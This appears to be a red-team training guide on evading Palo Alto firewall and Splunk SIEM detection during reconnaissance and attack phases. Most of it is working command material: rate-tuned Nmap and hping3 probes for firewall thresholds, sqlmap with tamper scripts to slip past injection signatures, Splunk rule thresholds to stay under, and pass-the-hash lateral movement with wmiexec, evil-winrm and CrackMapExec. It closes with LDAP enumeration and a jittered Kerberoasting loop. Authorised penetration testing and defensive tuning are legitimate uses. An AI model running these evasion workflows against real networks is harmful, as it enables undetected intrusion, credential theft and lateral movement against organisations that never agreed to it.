Pillar 9: Recon & Attack Phase Evasion — Palo Alto & Splunk

BLUF: Enterprise networks pair Palo Alto NGFW (inline real-time blocking) with Splunk SIEM (retrospective correlation). Default tool configs — Nmap at any speed, sqlmap --level=5, ffuf at 100 req/sec — trigger both simultaneously. This pillar teaches you to defeat them together: rate math, tamper scripts, SPL threshold awareness, and lateral movement that exploits PAN-OS east-west blind spots.

Enterprise Architecture

Enterprise environments deploy Palo Alto NGFW and Splunk in complementary roles. Understanding where each sits — and what each is blind to — is the prerequisite for every technique in this pillar.

PAN-OS (Palo Alto NGFW) is an inline device. Traffic passes through it. If it decides to block, the connection drops before the packet reaches the server. Key inspection engines:

• App-ID: Identifies application from first 4 packets. Classifies web-browsing, ssl, smb, wmi. Policy action is applied per App-ID classification.
• Threat Prevention: IPS/IDS signatures. Fires on known attack patterns in decrypted (or cleartext) traffic: SQL injection, XSS, path traversal, brute force. Signature-based — evasion is signature evasion.
• Zone Protection: Anti-reconnaissance. Rate-limits port scans, ICMP sweeps, UDP sweeps per-zone. Default thresholds: 100 events/2s (TCP scan), 100 events/2s (UDP scan), 100 events/10s (ICMP sweep). Configurable — enterprises often tune lower.
• URL Filtering: Blocks by URL category. Affects HTTP/S traffic only.
• SSL Decryption: Without this policy, PAN-OS is blind to HTTPS payload. JA3 metadata is visible in the Client Hello, but payload is not. Most enterprises do NOT decrypt all traffic.

Splunk SIEM is off-path. It receives log copies from firewalls, endpoints, and domain controllers. It does not block — it detects and alerts (or enriches risk scores). Key detection layers:

• ESCU Correlation Searches: Pre-built analytics (ships disabled; security team enables and schedules). Most run hourly (0 * * * *). Threshold-based: if your activity stays under the threshold within the window, no alert fires.
• UA Lookup Tables: scripting_tools_user_agents — exact-match lookup against known scanner UA strings. Bypassed by using real browser UAs.
• Statistical Anomaly Detection: 3-sigma deviation from baseline. Slow (needs 30+ days of baseline). Affected by consistent timing patterns.
• Risk-Based Alerting (RBA): Accumulates risk scores from multiple weak signals into one risk-notable. Harder to evade than single-threshold rules.

The key asymmetry: PAN-OS blocks in real-time; Splunk alerts retrospectively. Avoid triggering PAN-OS blocks (engagement-ending) first, then stay below Splunk thresholds (detection-causing) second.

graph TB
    Internet([Internet / Red Team Infra]) --> EdgeFW[Edge NGFW\nPAN-OS App-ID\nThreat Prevention\nURL Filter]
    EdgeFW --> DMZ[DMZ\nWeb / Mail / VPN]
    DMZ --> SegFW[Internal Seg FW\nPAN-OS Zone Protection\nSSL Decrypt optional]
    SegFW --> Corp[Corporate VLAN\nEndpoints / Users]
    SegFW --> Server[Server VLAN\nDC / File / DB]
    SegFW --> OT[OT/ICS VLAN]
    Corp --> HF[Splunk HF\nForwarder]
    Server --> HF
    EdgeFW --> HF
    SegFW --> HF
    HF --> SH[Splunk SH\nESCU Correlation\nRBA Engine]
    style Internet fill:#ff6600
    style SH fill:#005500,color:#ffffff

graph TB
    A([A: Detection Stack\nBeginner]) --> B[B: Zone Protection Math\nIntermediate]
    B --> C[C: Port Scan Evasion\nIntermediate]
    B --> D[D: App-ID Evasion\nIntermediate]
    C --> E[E: Web App Pentest\nIntermediate]
    D --> E
    E --> F[F: SPL Evasion\nIntermediate]
    C --> G[G: DNS Recon\nBeginner]
    F --> H[H: Lateral Movement\nIntermediate]
    G --> I[I: Full Workflow\nOperator]
    H --> I
    I --> J([J: AD Recon\nIntermediate])
    style A fill:#ff6600
    style J fill:#006600,color:#ffffff

MITRE ATT&CK Coverage

Action Items

Action Item 1 — Enterprise Architecture & Detection Mechanics [Beginner]

What you're building: A mental model of the detection stack before you touch a packet. Knowing what PAN-OS inspects inline versus what Splunk correlates after the fact tells you which evasion failures are engagement-ending (PAN-OS block) versus detection-causing (Splunk alert).

The Two-Layer Stack

PAN-OS Inspection Engines

Splunk Detection Layers

SSL Decryption Gap

Without an SSL decryption policy, PAN-OS is blind to the HTTP payload inside HTTPS connections. This affects Burp Suite SQLi/XSS probes, sqlmap requests over HTTPS, and WinRM HTTPS (port 5986) — PAN-OS classifies the traffic but cannot inspect commands.

What PAN-OS still sees without decrypt:

• SNI (the hostname in the TLS Client Hello)
• JA3 fingerprint (cipher suite order in Client Hello)
• Source/destination IP and port
• App-ID classification (often ssl or web-browsing)

Attack Phase to Detector Mapping

Action Item 2 — PAN-OS Zone Protection Math [Intermediate]

What you're building: A systematic methodology for discovering the exact Zone Protection thresholds of a PAN-OS firewall without triggering a permanent block — and staying reliably under them during scanning operations.

Phase 1 — Default Thresholds

PAN-OS Zone Protection default values (official PAN-OS documentation):

These are defaults. Many enterprises tune them lower (20–50 events/2s is common). Always probe before assuming.

Phase 2 — Distributed Multi-Source Rate Math

Zone Protection tracks thresholds per source IP. Distributing a scan across multiple source IPs multiplies your effective allowable rate:

Phase 3 — Threshold Discovery (hping3 Probe)

Before scanning a new subnet, probe the ZP threshold with progressively increasing hping3 rates. Packet loss = ZP dropped your probe.

# Threshold probe — start at 40 pkt/sec, step down if loss observed
# hping3: -S SYN, -p port, -c packet count, --interval microseconds
hping3 -S -p 80 -c 50 --interval u25000 192.168.10.1  # 40 pkt/sec

# If loss appears at 40 pkt/sec, drop to 30:
hping3 -S -p 80 -c 50 --interval u33000 192.168.10.1  # 30 pkt/sec

# If still losing at 30, drop to 20:
hping3 -S -p 80 -c 50 --interval u50000 192.168.10.1  # 20 pkt/sec

Note: --interval uN = microsecond delay between packets. 25000µs = 25ms = 40 pkt/sec.

Phase 4 — Custom Threshold Detection

Defenders sometimes tune Zone Protection below defaults. Detect lower thresholds with a rate ladder:

# Rate ladder — detect ZP threshold by observing packet loss at each rate
for rate_ms in 50 40 33 25 20; do
  pkt_per_sec=$((1000 / rate_ms))
  echo "Testing: 1000/${rate_ms}ms = ${pkt_per_sec} pkt/sec"
  hping3 -S -p 443 -c 100 --interval u$((rate_ms * 1000)) 192.168.10.1 2>&1 \
    | grep -E "transmitted|received"
  sleep 30
done

Apply 20% safety margin to the highest non-dropping rate. If the ladder shows loss at 30 pkt/sec, operate at 24 pkt/sec.

Phase 5 — Zone Protection Profile Types

Reconnaissance Protection is the relevant engine for scanning. Flood Protection fires at much higher rates and is not triggered by recon-pace traffic.

Phase 6 — UDP Scanning Notes

UDP scan threshold is the same as TCP (100/2s) but UDP scans behave differently — ICMP port unreachable responses are rate-limited by the OS on the target, causing Nmap to slow automatically. Apply --max-retries 1 to avoid Nmap retransmitting on every filtered port (default 2 retries triples packet count on filtered networks).

# UDP threshold probe over hping3
hping3 --udp -p 161 -c 50 --interval u25000 192.168.10.1  # 40 pkt/sec UDP

Action Item 3 — Port Scanning & Host Discovery Evasion [Intermediate]

What you're building: A port scanning workflow that stays below PAN-OS Zone Protection thresholds and avoids Splunk ESCU network scan correlation rules — covering TCP, UDP, and IPv6 variants.

Phase 1 — Detection Baseline

Phase 2 — Safe Nmap Rate Math

• Zone Protection default: 100 events/2s = 50 pkt/sec theoretical max
• Apply 20% safety margin: 40 pkt/sec operating limit
• --scan-delay 25ms = 40 req/sec for TCP SYN (1000ms / 25ms = 40)
• ICMP sweep: 100/10s = 10 pkt/sec max → --scan-delay 100ms (8 pkt/sec operating)

# TCP SYN scan — safe rate (40 pkt/sec, 20% under ZP threshold)
# -sS: SYN scan | --scan-delay 25ms: 40 pkt/sec | --max-retries 1: no duplicate SYNs
# --min-hostgroup 1: process one host at a time (avoids burst from host parallelism)
nmap -sS -p 22,80,443,445,3389,5985,5986,8080,8443 \
  --scan-delay 25ms \
  --max-retries 1 \
  --min-hostgroup 1 \
  --randomize-hosts \
  -oA scan_results \
  192.168.10.0/24

Phase 3 — UDP Scanning

# UDP scan — same 100/2s ZP threshold as TCP, same 20% margin
# -sU: UDP scan | top 100 ports only (reduces total packet count)
nmap -sU --top-ports 100 \
  --scan-delay 25ms \
  --max-retries 1 \
  --min-hostgroup 1 \
  -oA udp_scan_results \
  192.168.10.0/24

Note: --max-retries 1 is critical for UDP — Nmap's default retries (2) triple packet count on filtered networks.

Phase 4 — ICMP Host Discovery

# Host discovery only — no port scan
# -sn: ping scan only | -PE: ICMP echo | --scan-delay 100ms: 8 hosts/sec
nmap -sn -PE \
  --scan-delay 100ms \
  --min-hostgroup 1 \
  --randomize-hosts \
  -oA host_discovery \
  192.168.10.0/24

Phase 5 — IPv6 Scanning Blind Spot

Many Zone Protection profiles are configured only for IPv4. If a target has AAAA DNS records and an IPv6 address in scope, ZP may not apply to that traffic path. Confirm with hping3 on the IPv6 path before relying on this.

# Step 1: Discover IPv6 addresses from DNS
nmap -6 -sn --dns-servers 8.8.8.8 \
  -iL hostnames.txt \
  -oA ipv6_discovery

# Step 2: Scan over IPv6 with same rate limits
nmap -6 -sS -p 22,80,443,445,3389 \
  --scan-delay 25ms \
  --max-retries 1 \
  --min-hostgroup 1 \
  -oA ipv6_scan \
  -iL ipv6_targets.txt

Phase 6 — Source Port Hopping

PAN-OS and many IDS correlate scans from a single source port as scanning behaviour. Rotating source ports adds noise to correlation.

# Rotate source port per Nmap invocation (not per packet)
for sport in 49152 49200 49500 49800; do
  nmap -sS -p 80,443,8080 \
    --source-port "$sport" \
    --scan-delay 25ms \
    --max-retries 1 \
    192.168.10.0/24 \
    -oA "scan_sport_${sport}"
  sleep 120  # 2-min gap between invocations
done

Note: --source-port 53 (spoofing DNS) is not recommended — firewalls track DNS source ports independently. Use high ephemeral range (49152–65535).

Nmap Flag Reference

Action Item 4 — App-ID Fingerprint Evasion [Intermediate]

What you're building: A set of tool configurations that prevent PAN-OS App-ID from fingerprinting your scanning and exploitation tools — making your traffic classify as benign application categories instead of known attack tools.

Phase 1 — Detection Baseline

Phase 2 — User-Agent Rotation Pool

App-ID uses HTTP User-Agent as part of application identification. Tools with default UA strings (sqlmap/1.x, Nikto/2.x, python-requests/2.x) are instantly identified. A pool of real browser UAs defeats UA-based App-ID and Splunk scanner UA lookup tables simultaneously.

# 5-UA rotation pool — real browser strings (update as browsers release)
UA_POOL=(
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0"
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15"
  "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0"
)
# Pick one randomly for the session
UA="${UA_POOL[$RANDOM % ${#UA_POOL[@]}]}"
echo "Session UA: $UA"

Rotate the UA at the start of each tool invocation — consistent UA per session looks more like a real browser than per-request rotation.

Phase 3 — Burp Suite App-ID Evasion Config

Burp Suite classifies as web-browsing when using a browser-matching UA. The risk is active scanner probes triggering Threat Prevention sigs (SQLi, XSS, path traversal).

Burp Suite Active Scanner — Evasion Settings:
  Scanner > Audit items:
    - Uncheck: SQL injection (reduces UNION/SLEEP probes)
    - Uncheck: OS command injection
    - Keep: Information disclosure, reflected XSS (lower sig rate)
  Scanner > Audit optimization:
    - Set "Number of threads" to 1
    - Set "Request delays" to 200ms (inter-request pause)
  Proxy > Options:
    - User-Agent: Chrome/120 string (match UA pool above)
  HTTP/2:
    - Enable HTTP/2 where supported (falls into ssl/web-browsing — less Threat Prevention coverage)

Phase 4 — JA3/JA3S TLS Fingerprint Evasion

When SSL decryption is deployed, PAN-OS can inspect the TLS Client Hello and compute a JA3 fingerprint — a hash of cipher suites, extensions, and elliptic curves. Tools like sqlmap (Python requests) and curl have well-known JA3 fingerprints. Without SSL decrypt, PAN-OS only sees SNI and the cipher suite list in the Client Hello.

# Rotate cipher suite order to change JA3 hash
curl --tlsv1.2 \
  --ciphers 'ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:AES256-GCM-SHA384' \
  -H "User-Agent: $UA" \
  -s "https://target.internal/api/endpoint"

# Further: use a real browser via Burp proxy — browser TLS stack has a non-tool JA3
# that matches millions of legitimate users

JA3 visibility by PAN-OS config:

Phase 5 — HTTP/2 App-ID Gap

PAN-OS App-ID and Threat Prevention coverage for HTTP/2 (h2) is less mature than HTTP/1.1. In some PAN-OS versions, HTTP/2 traffic classifies as ssl rather than triggering HTTP-specific Threat Prevention signatures. This is not a universal bypass — test per target.

# Check if target supports HTTP/2
curl -sI --http2 https://target.internal/ | grep -i "HTTP/"
# HTTP/2 200  → h2 supported; traffic may classify as 'ssl' in older PAN-OS
# HTTP/1.1 200 → falls back; standard Threat Prevention applies

# Force HTTP/2 in curl requests
curl --http2 \
  -H "User-Agent: $UA" \
  -s "https://target.internal/api/search?q=test"

Phase 6 — Detection With vs Without SSL Decrypt

Action Item 5 — Web Application Pentesting Evasion [Intermediate]

What you're building: A toolkit configuration and workflow for Burp Suite, ffuf, sqlmap, and nikto that evades both PAN-OS Threat Prevention signatures AND Splunk ESCU web attack correlations simultaneously.

Detection Reference Table

Phase 1 — Burp Suite Evasion Config

Burp Suite Evasion Settings:
  Proxy > Match and Replace:
    - Remove any header containing "Burp" or "burp"
    - Set User-Agent to: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
      (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  Scanner > Audit optimization:
    - Number of threads: 1
    - Request delay: 200ms
  Scanner > Audit items (disable high-noise items):
    - Uncheck: SQL injection (UNION, time-based — noisiest PAN-OS sigs)
    - Uncheck: OS command injection
    - Keep: Reflected XSS, information disclosure (lower sig rate)
  Intruder (auth testing):
    - Throttle: 4 attempts per 300 seconds per target
    - Resource pool: 1 concurrent request
  HTTP/2:
    - Enable HTTP/2 for targets where supported (App-ID gap — AI-4 Phase 5)

Burp Intruder rate: PAN-OS Zone Protection brute force default is 10 auth failures/60s per source. Staying at 4/300s (0.8/min) is well under this threshold.

Phase 2 — sqlmap Evasion Flags

sqlmap's default behavior fires on PAN-OS sql-injection signatures immediately. Stay under num_sql_cmds > 3 (Splunk) and avoid UNION SELECT / SLEEP() / error-based patterns (PAN-OS).

# sqlmap evasion configuration
# --user-agent: browser UA from pool (AI-4 Phase 2)
# --delay=3: 3s between requests
# --level=1 --risk=1: minimal probe set (stays under num_sql_cmds > 3)
# --technique=B: boolean-blind only (avoids UNION and time-based — noisier sigs)
# --tamper=space2comment,between: mutates SQL keywords away from signature patterns
sqlmap -u "https://target.internal/search?q=test" \
  --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
  --delay=3 \
  --level=1 \
  --risk=1 \
  --technique=B \
  --tamper=space2comment,between \
  --batch

Tamper script breakdown:

• space2comment: replaces space with /**/ — evades simple space-in-SQL-keyword sigs
• between: replaces > with NOT BETWEEN 0 AND — avoids comparison operator pattern sigs

Boolean-blind (--technique=B) sends no UNION or SLEEP — payloads look like AND 1=1 / AND 1=2, structurally similar to legitimate application queries.

Phase 3 — ffuf Evasion

ffuf default settings send 100+ req/sec, immediately flagging Splunk's event-volume rules and triggering PAN-OS protocol anomaly on high 404 rate.

# ffuf evasion configuration
# -rate 3: 3 req/sec (well under volume-based rules)
# -H: browser UA to avoid scripting_tools_user_agents lookup match
# -mc 200,301,302,403: only match successes — reduces 404 log volume significantly
# -p 2: 2-second inter-request pause
ffuf -u "https://target.internal/FUZZ" \
  -w /usr/share/wordlists/dirb/common.txt \
  -rate 3 \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
  -mc 200,301,302,403 \
  -fc 404 \
  -p 2 \
  -o ffuf_results.json -of json

Rate math: 3 req/sec × 1800s (30 min) = 5,400 total requests. With -mc 200,301,302,403, only successful responses generate actionable log entries — the 404-heavy remainder is present in access logs but often filtered out by ESCU SPL queries.

Phase 4 — nikto Rate-Limiting Wrapper

nikto has no native rate limiting. Replace with Burp passive scan for fingerprinting where possible. If nikto is required:

#!/bin/bash
# nikto-slow.sh — nikto with limited scope and time cap
# WARNING: Does not provide true per-request rate limiting.
# Prefer Burp passive scan for OPSEC-conscious engagements.

TARGET="https://target.internal"
UA="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"

# Run nikto with single thread, custom UA, and hard time cap
timeout 300 nikto -h "$TARGET" \
  -useragent "$UA" \
  -Tuning 1234 \
  -maxtime 300 \
  -output nikto_results.txt

Better alternative: Burp passive scan (observe-only mode) + manual response review. Zero additional requests beyond what the browser already generates.

Action Item 6 — Splunk SPL Evasion — Web Attacks [Intermediate]

What you're building: An understanding of which ESCU rules fire on web attack traffic, the exact SPL logic behind each, and a timing/rate strategy that stays below every threshold simultaneously.

Phase 1 — ESCU Rule Inventory (Web Attack Relevant)

Phase 2 — SPL Rule Anatomy

Understanding the exact SPL helps you target the specific field and threshold to evade. Key decision logic from ESCU (not full queries — the field names and thresholds are what matter):

SQL Injection detection — num_sql_cmds is parsed from URL query string SQL keyword count:

index=web sourcetype=access_combined
| eval url_length=len(uri_query)
| where url_length > 1024 AND num_sql_cmds > 3
| stats count by src, dest, uri_stem

Scanner UA detection — pure lookup match:

index=web sourcetype=access_combined
| lookup scripting_tools_user_agents http_user_agent OUTPUT isScriptingTool
| where isScriptingTool="true"
| stats count by src, http_user_agent

High volume intrusion events:

index=web
| stats count AS TotalEvents by src, dest, _time span=30m
| where TotalEvents >= 15

Phase 3 — Gaussian Jitter (Timing Evasion)

Statistical anomaly detection fires when your request rate deviates significantly from the source's baseline. Uniform intervals (every 3 seconds exactly) are as suspicious as high rates — they look machine-generated. Add Gaussian jitter:

#!/usr/bin/env python3
"""Gaussian jitter sleep — use between requests in custom tooling."""
import time
import random

def jittered_sleep(base_seconds: float, sigma: float = 0.3) -> None:
    """Sleep for base_seconds with Gaussian noise.

    base_seconds=3, sigma=0.3 → sleep between ~2.1s and ~3.9s (±1 sigma)
    Defeats 3-sigma timing detection by mimicking human inter-request variance.
    """
    delay = max(0.5, random.gauss(base_seconds, base_seconds * sigma))
    time.sleep(delay)

# Usage in a request loop:
for url in target_urls:
    # ... make request ...
    jittered_sleep(3.0)  # ~3s base, Gaussian variance

Phase 4 — SPL Rule Timing Awareness

Most ESCU correlation searches are scheduled at 0 * * * * — the top of each hour. The search window is typically the previous hour. This creates a predictable detection cadence:

Phase 5 — Combined Rate Budget

Running multiple tools simultaneously stacks events from a single source IP. Manage the combined event budget:

Action Item 7 — DNS & Infrastructure Recon (Passive) [Beginner]

What you're building: A passive reconnaissance workflow that maps the target's infrastructure without sending a single packet to target-owned systems — using public DNS, certificate transparency logs, BGP data, and OSINT APIs.

Phase 1 — Certificate Transparency Logs

CT logs are publicly queryable and reveal subdomains, internal hostnames, and certificate history — all without touching target infrastructure.

# crt.sh query — certificate transparency log search
# Returns all certs issued for target domain and subdomains
curl -s "https://crt.sh/?q=%25.target.com&output=json" \
  | python3 -c "import sys,json; [print(e['name_value']) for e in json.load(sys.stdin)]" \
  | sort -u \
  > ct_subdomains.txt

# subfinder — passive subdomain enumeration (aggregates CT/OSINT sources)
# No target contact — uses public APIs and CT logs
subfinder -d target.com -o subfinder_results.txt -silent

Phase 2 — BGP/ASN Mapping

Map the target's IP ranges via public BGP data — no packets to target:

# BGPView API — find ASN for target domain
curl -s "https://api.bgpview.io/search?query_term=target.com" \
  | python3 -m json.tool | grep -E '"asn"|"name"'

# Once ASN identified, enumerate prefixes
curl -s "https://api.bgpview.io/asn/64496/prefixes" \
  | python3 -m json.tool | grep '"prefix"'

Phase 3 — SecurityTrails (Passive DNS)

SecurityTrails provides historical DNS records, A/CNAME history, and subdomain data. API queries are logged by SecurityTrails — this is acceptable for passive recon but worth noting in your OPSEC log.

# SecurityTrails API — passive DNS history (requires free API key)
ST_KEY="your_securitytrails_api_key"
TARGET="target.com"

# Subdomain list
curl -s "https://api.securitytrails.com/v1/domain/${TARGET}/subdomains" \
  -H "apikey: ${ST_KEY}" \
  | python3 -m json.tool | grep -A 100 '"subdomains"'

Phase 4 — Passive Recon Workflow Script

#!/bin/bash
# passive_recon.sh — full passive DNS + CT recon workflow
TARGET="${1:?Usage: $0 target.com}"
OUTDIR="recon_${TARGET}"
mkdir -p "$OUTDIR"

echo "[*] CT logs (crt.sh)..."
curl -s "https://crt.sh/?q=%25.${TARGET}&output=json" \
  | python3 -c "import sys,json; [print(e['name_value']) for e in json.load(sys.stdin)]" \
  2>/dev/null | sort -u > "${OUTDIR}/ct_subdomains.txt"

echo "[*] subfinder..."
subfinder -d "$TARGET" -o "${OUTDIR}/subfinder.txt" -silent 2>/dev/null

echo "[*] Combining results..."
cat "${OUTDIR}/ct_subdomains.txt" "${OUTDIR}/subfinder.txt" \
  | sort -u > "${OUTDIR}/all_subdomains.txt"
echo "[+] Total unique subdomains: $(wc -l < "${OUTDIR}/all_subdomains.txt")"

Action Item 8 — Lateral Movement Evasion — PTH, WMI, WinRM [Intermediate]

What you're building: A lateral movement workflow that exploits PAN-OS's limited east-west visibility and stays below Splunk's authentication anomaly thresholds.

Detection Reference Table

Phase 1 — Pass-the-Hash (Impacket)

PTH NTLM authentication uses EventID 4624 Type 3 (network logon). The ESCU rule fires when a single source authenticates to more than 30 unique computers in a 5-minute window.

# wmiexec.py — preferred over psexec.py for lower noise
# psexec.py creates a service (EventID 7045) — higher-visibility indicator
# wmiexec uses DCOM/WMI path — no service creation
python3 /opt/impacket/examples/wmiexec.py \
  'domain.local/svc_account@192.168.10.50' \
  -hashes ':aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c'

Stay under dc(Computer) > 30: target ≤5 hosts per 5-minute window. Each wmiexec connection generates one EventID 4624 — at 5 hosts/5-min, well below the 30-unique-host threshold.

Phase 2 — Impacket WMIExec Signature Evasion

The Splunk ESCU "Impacket Lateral Movement WMIExec Commandline Parameters" rule matches a specific pattern: wmiprvse.exe → spawns cmd.exe /Q /c → accesses \\127.0.0.1\<share>\__<timestamp>.<N> temp file for output retrieval.

# -nooutput: disables output retrieval via \\127.0.0.1\ share
# Breaks the wmiprvse.exe → cmd /Q /c → \\127.0.0.1\ chain
# Tradeoff: no command output — use for fire-and-forget commands only
python3 /opt/impacket/examples/wmiexec.py \
  'domain.local/svc_account@192.168.10.50' \
  -hashes ':NTLM_HASH' \
  -nooutput \
  "net use \\\\192.168.10.60\\IPC$"

Rate limit: ≤3 exec commands per 10-minute window per target host. Wait 90 seconds between lateral hops.

Phase 3 — WinRM HTTPS (Exploit SSL Decrypt Gap)

WinRM HTTPS (port 5986) is PAN-OS's blind spot when SSL decryption is not deployed. PAN-OS classifies the traffic as ssl but cannot inspect PowerShell commands. Splunk still catches the wsmprovhost.exe → powershell.exe spawn on the endpoint — limit inline PS execution.

# evil-winrm — WinRM client with PTH and HTTPS support
# -S: use SSL (port 5986) — exploits SSL decrypt gap
# -H: NTLM hash auth (no plaintext password needed)
evil-winrm -i 192.168.10.50 \
  -u svc_account \
  -H 'aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c' \
  -S

Once connected:

• Use -e (upload executable) or -s (upload PS1 script) rather than typing inline commands
• ≤2 WinRM sessions per host; each wsmprovhost.exe spawn is a Sysmon event
• Avoid spawning new powershell.exe processes from within the WinRM session

Phase 4 — SMB Lateral Movement (CrackMapExec)

# CrackMapExec SMB — PTH with rate limiting
# -t 1: 1 thread (prevents dc(Computer) spike from simultaneous connections)
# --jitter 120: 2-minute random jitter between hosts
# --exec-method wmiexec: use WMI exec (different execution chain than SMBExec)
crackmapexec smb target_hosts.txt \
  -u svc_account \
  -H 'aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c' \
  --exec-method wmiexec \
  -t 1 \
  --jitter 120 \
  -x "whoami"

Avoid --shares enumeration against domain controllers — generates EventID 5140/5145 per share per DC, a common indicator of lateral movement tooling.

Action Item 9 — Full Evasive Engagement Workflow [Operator]

What you're building: A phased engagement workflow that chains all previous AIs into an ordered, gate-controlled operation — from pre-engagement through lateral movement — with explicit go/no-go decision points.

Phase Workflow Table

Go/No-Go Decision Points

PRE-ENGAGEMENT GATE:
  ✓ Written authorization received
  ✓ Target IP ranges confirmed in scope
  ✓ Emergency stop contact established
  ✓ Passive recon complete (no active contact yet)
  → PROCEED to Phase 1

POST-DISCOVERY GATE:
  ✓ hping3 probe shows no packet loss at 40 pkt/sec
  ✓ No OOB notification from client (confirms no live SOC alert)
  ✓ SSL decrypt posture assessed (benign probe)
  → PROCEED to Phase 3 (port scan)

PRE-WEB-ATTACK GATE:
  ✓ Rate budget calculated (ffuf + sqlmap combined events/hour)
  ✓ ESCU scheduled search timing checked (attack in :05–:45 window)
  ✓ Browser UA confirmed not in scripting_tools_user_agents lookup
  → PROCEED to Phase 5

PRE-LATERAL GATE:
  ✓ PTH credentials/hashes obtained
  ✓ East-west topology assessed (flat vs. segmented)
  ✓ SSL decrypt posture on internal seg FW assessed
  ✓ EDR deployment known (see 6_EDR)
  → PROCEED to Phase 8

Chained Scan Script (Phases 2–3)

#!/bin/bash
# evasive_scan.sh — phased host discovery and port scan with rate control
SUBNET="${1:?Usage: $0 192.168.10.0/24}"
OUTDIR="scan_$(date +%Y%m%d_%H%M)"
mkdir -p "$OUTDIR"

echo "[Phase 2] ICMP host discovery..."
nmap -sn -PE \
  --scan-delay 100ms \
  --min-hostgroup 1 \
  --randomize-hosts \
  -oA "${OUTDIR}/hosts" \
  "$SUBNET"

grep "Host:" "${OUTDIR}/hosts.gnmap" | awk '{print $2}' > "${OUTDIR}/live_hosts.txt"
echo "[*] Live hosts: $(wc -l < "${OUTDIR}/live_hosts.txt")"
sleep 60  # 1-min gap between phases

echo "[Phase 3] TCP SYN scan on live hosts..."
nmap -sS -p 22,80,443,445,3389,5985,5986,8080,8443 \
  --scan-delay 25ms \
  --max-retries 1 \
  --min-hostgroup 1 \
  --randomize-hosts \
  -oA "${OUTDIR}/ports" \
  -iL "${OUTDIR}/live_hosts.txt"

echo "[+] Scan complete. Results in ${OUTDIR}/"

Action Item 10 — AD Recon from a Foothold [Intermediate]

What you're building: A controlled Active Directory enumeration workflow using LDAP and BloodHound collection that stays below ESCU authentication and AD query anomaly thresholds.

Phase 1 — LDAP Recon (DCOnly)

LDAP queries generate EventID 1644 (expensive LDAP queries) and feed Splunk's AD recon ESCU rules. Using --use-ldaps (LDAP over SSL, port 636) encrypts query content from PAN-OS inline inspection — same SSL decrypt gap logic as WinRM 5986.

# ldapsearch — LDAP over SSL (port 636) to avoid PAN-OS payload inspection
# Enumerate users with SPNs (Kerberoasting targets)
ldapsearch -H ldaps://dc01.domain.local:636 \
  -D "domain\svc_account" \
  -w 'Password123' \
  -b "DC=domain,DC=local" \
  "(servicePrincipalName=*)" \
  sAMAccountName servicePrincipalName \
  2>/dev/null | grep -E "sAMAccountName:|servicePrincipalName:"

Rate: ≤1 LDAP query per 2 seconds. ESCU "LDAP Query Recon" rules fire on high-volume LDAP bursts (typically dc(LDAPFilter) > 20 in 5-min window). Single, targeted queries are well under this threshold.

Phase 2 — SharpHound (Rate-Limited Collection)

SharpHound's default collection (-c All) generates hundreds of LDAP queries and SMB/RPC connections in minutes. Use DCOnly collection method to limit to LDAP-only queries against the DC — no SMB/RPC to workstations.

# SharpHound DCOnly collection — LDAP queries to DC only
# No SMB/RPC to workstations (avoids 4624 network logon events on every host)
.\SharpHound.exe -c DCOnly --zipfilename bloodhound_dc.zip

# If BloodHound is detected, fall back to targeted manual LDAP:
# Enumerate domain groups only (low volume)
ldapsearch -H ldaps://dc01.domain.local:636 \
  -D "domain\svc_account" \
  -w 'Password123' \
  -b "DC=domain,DC=local" \
  "(objectClass=group)" \
  sAMAccountName member \
  2>/dev/null

Phase 3 — Kerberoasting (Targeted)

GetUserSPNs.py generates a TGS-REQ for each SPN discovered. Each TGS-REQ generates EventID 4769 (Kerberos service ticket request). ESCU rules fire on count(EventID 4769) > 30 per source in 5-min window.

# GetUserSPNs.py — request one ticket at a time with jitter between requests
for spn in $(cat spn_list.txt); do
  python3 /opt/impacket/examples/GetUserSPNs.py \
    'domain.local/svc_account:Password123' \
    -dc-ip 192.168.10.10 \
    -request-user "$spn" \
    >> kerberoast_hashes.txt
  python3 -c "import time,random; time.sleep(random.uniform(90, 300))"
done

Phase 4 — secureldap Protocol Decision Tree

Resources

Quick Reference Cheat Sheet

PAN-OS Safe Rate Limits

Nmap Evasion Flag Reference

Web App Pentest Rate Limits

Lateral Movement Risk Matrix

AD Recon Protocol Decision Tree

Event IDs to Avoid Generating in Bulk

Part of the Red Teaming 101 series.